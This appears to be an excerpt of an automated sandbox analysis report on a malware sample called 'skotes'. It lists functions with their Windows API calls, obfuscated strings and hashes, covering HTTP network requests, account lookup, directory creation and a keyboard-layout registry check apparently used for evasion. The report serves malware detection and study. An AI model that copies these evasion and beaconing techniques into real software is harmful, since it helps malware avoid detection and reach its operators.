Instruction ID: 8ae7b977cd6e60569f292570d16030a3bb46024ec24ae4e5e6a023f90f743276
Opcode Fuzzy Hash: ebdeb71bd1c9283f2f0de346f7b900ff061f13d8440306c8a4812a5283dfd622
Instruction Fuzzy Hash: 3882A470A0428C9BEF18DF68C9497DE7FB6AF45304F508598E805673C2D7795A88CBD2

Function 00632517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00646758), ref: 0063275C

Strings

Eastern Standard Time, xrefs: 006327CB
Xgd, xrefs: 00632705, 0063270B
Eastern Summer Time, xrefs: 006327FA

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgd
API String ID: 565725191-2667187983
Opcode ID: ca9a345d0fab5d825144567b7ba7a0982f6128366c6f397e1bfc2c9be28246ee
Instruction ID: b632bcc589690b773cc598facff9bde149c5076ab790074d970f2480ac91417c
Opcode Fuzzy Hash: ca9a345d0fab5d825144567b7ba7a0982f6128366c6f397e1bfc2c9be28246ee
Instruction Fuzzy Hash: 45C12871A00216ABDB209F68DC62AEA7BBBEF56310F14045DE94197391E7309E45CBD4

Function 005F65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 005F6680

Strings

RySfdMLx, xrefs: 005F669C
ISNmfV==, xrefs: 005F67D1
GSTmfV==, xrefs: 005F6728

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: bfc63c42d561a4daccd2b818e6f86765efd3e4fcbc7fd4a40cbcb40e31bd69be
Instruction ID: 96548cf945ea1c5419e2f67c3d40367a1a2f11fc92b65d77c02db3f46320429f
Opcode Fuzzy Hash: bfc63c42d561a4daccd2b818e6f86765efd3e4fcbc7fd4a40cbcb40e31bd69be
Instruction Fuzzy Hash: 3B9194B1A0011C9BDB28DB24CC85BEDBB79FB45304F4045EDE61997282DB759BC48FA8

Function 005FEB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FEB51
CreateDirectoryA.KERNEL32(00000000), ref: 005FEC83
GetFileAttributesA.KERNEL32(00000000), ref: 005FED98

Strings

WDw=, xrefs: 005FF71D, 005FF9FA, 005FFDE3
GiQaT29tduF=, xrefs: 005FFEB6
246122658369, xrefs: 005FF737, 005FFA14, 005FFE00, 006005E7
invalid stoi argument, xrefs: 006008B0
mxo1L0x, xrefs: 005FEE84
stoi argument out of range, xrefs: 006008C4
L1e, xrefs: 005FF7E5
FCQgKF==, xrefs: 005FFEE4
FisgLnsCZO1i, xrefs: 005FFF19
111, xrefs: 005FF7A0
#, xrefs: 00600624
WTs=, xrefs: 006005CA
9c9aa5, xrefs: 005FFB8E
UA==, xrefs: 005FEC41, 005FED56, 005FEF89, 005FF2CE

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1e$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2733412654
Opcode ID: 08e6f48e46e9be9a9690b6dd21ad6b0ff4854431ac2ebd22f559e51b2b2b8009
Instruction ID: a42c248eff8a7535d31f63ef5fe9af62fc07269df6ecedb70b7391554989117a
Opcode Fuzzy Hash: 08e6f48e46e9be9a9690b6dd21ad6b0ff4854431ac2ebd22f559e51b2b2b8009
Instruction Fuzzy Hash: 86F23B71A101489BEF1CDB38CD8979EBF73AF85304F14829CE449973D6DB399A848B91

Function 005FBE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,48DB0D2B,?,00000000), ref: 005FBEB8
InternetOpenW.WININET(00648DC8,00000000,00000000,00000000,00000000), ref: 005FBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 005FBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 005FBF35
HttpSendRequestA.WININET(?,00000000), ref: 005FBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 005FC0A8
InternetCloseHandle.WININET(?), ref: 005FC187
InternetCloseHandle.WININET(?), ref: 005FC18F
InternetCloseHandle.WININET(?), ref: 005FC197

Strings

stoi argument out of range, xrefs: 005FE4EA
RE1NXF==, xrefs: 005FBF0E
8HJUeMD Lq5=, xrefs: 005FC465
invalid stoi argument, xrefs: 005FE4F4
8HJUeIfzLo==, xrefs: 005FC3CB, 005FC623

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 919a40cbc9d4e33b28a6459bf42cd5b5cd1bfe78c2a86637bbf15ba49990b86d
Instruction ID: 0ebed02753d24d3cd90eb49aa2572450c7e518723ed24025e2cb3532a6c3bef5
Opcode Fuzzy Hash: 919a40cbc9d4e33b28a6459bf42cd5b5cd1bfe78c2a86637bbf15ba49990b86d
Instruction Fuzzy Hash: 33B1E6B1A1011C9BDB28CF28CD88BAE7F69FF41304F5045A9F609972C2DB759AC4CB94

Function 005F6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 005F617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 005F6271

Strings

00000419, xrefs: 005F6098
0000043f, xrefs: 005F612B
00000423, xrefs: 005F60FA
Keyboard Layout\Preload, xrefs: 005F6054
00000422, xrefs: 005F60C9

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 32a69adb28b3b08feb291ef1f42e3307a5ee27321ec1a83513bcf01d3917af1e
Instruction ID: 75abc7b209f0297e82a6104e4b6602d27990ad90aaa1fabcc067eddd4d3bc58e
